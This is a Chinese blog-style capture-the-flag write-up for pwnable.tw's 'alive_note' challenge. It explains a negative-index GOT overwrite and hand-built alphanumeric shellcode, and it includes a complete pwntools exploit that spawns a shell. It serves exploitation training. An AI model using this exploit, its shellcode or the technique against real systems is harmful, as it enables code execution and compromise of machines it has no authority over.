pwnable.tw alive_note

这个题是看的其他人的wp,因为对堆不太熟悉,所以花了好长时间。

查看开启的保护机制,可以看到只开启了canary

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial

程序功能很简单,可以增加,删除显示节点信息

1
2
3
4
5
6
7
8
9
10
$ ./alivenote
-----------------------------------
AliveNote
-----------------------------------
1. Add a name
2. show a name on the note
3. delete a name int the note
4. Exit
-----------------------------------
Your choice :

ida反编译后可以看到函数add_note对输入的变量v1并没有做小于0的判断,所以可以通过输入一个小与0v1来修改free@got指向的地址来控制eip,check函数会对输入的数据判断是否是字母和数字,所以必须编写alphanumeric shellcode来绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int add_note()
{
int v1; // [sp+0h] [bp-18h]@1
char s; // [sp+4h] [bp-14h]@4
int v3; // [sp+Ch] [bp-Ch]@1
v3 = *MK_FP(__GS__, 20);
printf("Index :");
v1 = read_int();
if ( v1 > 10 )
{
puts("Out of bound !!");
exit(0);
}
printf("Name :");
read_input(&s, 8u);
if ( !check(&s) )
{
puts("It must be a alnum name !");
exit(-1);
}
*(&note + v1) = strdup(&s);
puts("Done !");
return *MK_FP(__GS__, 20) ^ v3;
}

构造read系统调用

在删除节点信息时会调用free函数,所以大概思路是在增加节点的时候输入alphanumeric shellcode,并修改gotfree函数的指针来修改eip到输入流
QQ截图20170702010436.jpg-26.3kB
在调用free函数之前看一下相关寄存器可以看到eaxbuff地址,ebx = ebx = ecx =0,然后利用这些寄存器写shellcode完成read系统调用,读入第二段shellcode。完全无法理解怎么想到的,膜

1
2
3
4
5
6
7
8
9
10
add("PYjAXE" "q8", offset) # push eax ; pop ecx ; push 0x41 ; pop eax
padding() # => ecx = buff, eax = 0x41
add("4AHEEE" "q8", 0) # xor al, 0x41 ; dec eax
padding() # => eax = 0xff
add("0AF49E" "q8", 1) # xor [ecx+0x46], al ; xor al, 0x39
padding() # => 0xff ^ '2' = 0xcd, al ^= '9'
add("0AGjzZ" "q8", 2) # xor [ecx+0x47], al ; push 0x7a ; pop edx
padding() # => 0xff ^ '9' ^ 'F' = 0x80, edx = 0x7a
add("j7X44E" "2F", 3) # push 0x37 ; pop eax; xor al, 0x34 ; int 0x80
# => eax = 3

通过计算notefree@got的距离,修改free@got指向的位置,指向的内容是push eax ; pop ecx ; push 0x41 ; pop eax,功能是将eax=buff改为ecx=buff,为read系统调用做准备。

设置padding函数的原因是chunk中存储的内容并不是连续的,每次可以向chunk中存入8个字节,不能完成一次系统调用,所以需要构造多个,然后依次执行完成系统调用,又因为每次传入的必须是字母或数字,且必须是8的倍数(chunk的结构),如下图
QQ截图20170704234216.jpg-22.3kB
满足条件的最小值是0x38,即字符80x38 = 16*3 + 8

xor al, 0x41 ; dec eax是将eax置为0xff

1
2
xor [ecx+0x46], al ; xor al, 0x39
xor [ecx+0x47], al ; push 0x7a ; pop edx

这两句是将最后输入的两个字节转化为int 0x80,因为int 0x80不能以字母或数字的形式输入,所以可以通过计算得出最后输入两个字节的满足最后计算后为\xcd\x80即可。

1
2
>>> asm("int 0x80;")
'\xcd\x80'

1
push 0x37 ; pop eax; xor al, 0x34 ;

eax置为3,即read的系统调用号,因为输入的buff地址是节点2,所以应该跳过前72个字节输入shellcode

输入第二段shellcode

1
"\x90" * 72 + asm(shellcraft.i386.linux.sh())

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usio/bin/env python
#coding:utf8
from pwn import *
if len(sys.argv) == 1:
DEBUG = 1
else :
DEBUG = 0
if DEBUG:
io = process('./alivenote')
else:
io = remote(sys.argv[1], int(sys.argv[2]))
#context(log_level='debug')
elf = ELF('alive_note')
def launch_gdb():
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(io)[0],'''
b *0x080488EA
''')
def add(sc, idx):
io.recvuntil(":")
io.sendline("1")
io.recvuntil(":")
io.sendline(str(idx))
io.recvuntil(":")
io.send(sc)
def delete(idx):
io.recvuntil(":")
io.sendline("3")
io.recvuntil(":")
io.sendline(str(idx))
def padding():
add("AAAAAAAA", -1)
add("BBBBBBBB", -1)
add("CCCCCCCC", -1)
offset = (elf.got["free"] - elf.symbols["note"]) / 4
# eax = buff, ebx = ecx = edx = 0
# create a read(0, buff, xxxx)
add("PYjAXE" "q8", offset) # push eax ; pop ecx ; push 0x41 ; pop eax
padding() # => ecx = buff, eax = 0x41
add("4AHEEE" "q8", 0) # xor al, 0x41 ; dec eax
padding() # => eax = 0xff
add("0AF49E" "q8", 1) # xor [ecx+0x46], al ; xor al, 0x39
padding() # => 0xff ^ '2' = 0xcd, al ^= '9'
add("0AGjzZ" "q8", 2) # xor [ecx+0x47], al ; push 0x7a ; pop edx
padding() # => 0xff ^ '9' ^ 'F' = 0x80, edx = 0x7a
add("j7X44E" "2F", 3) # push 0x37 ; pop eax; xor al, 0x34 ; int 0x80
# => eax = 3
delete(2) # buff = address of note[2]
io.sendline("\x90" * 72 + asm(shellcraft.i386.linux.sh()))
io.interactive()

参考

Writing ia32 alphanumeric shellcodes
alivenote

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 构造read系统调用
  2. 2. 输入第二段shellcode
  3. 3. exploit
  4. 4. 参考
,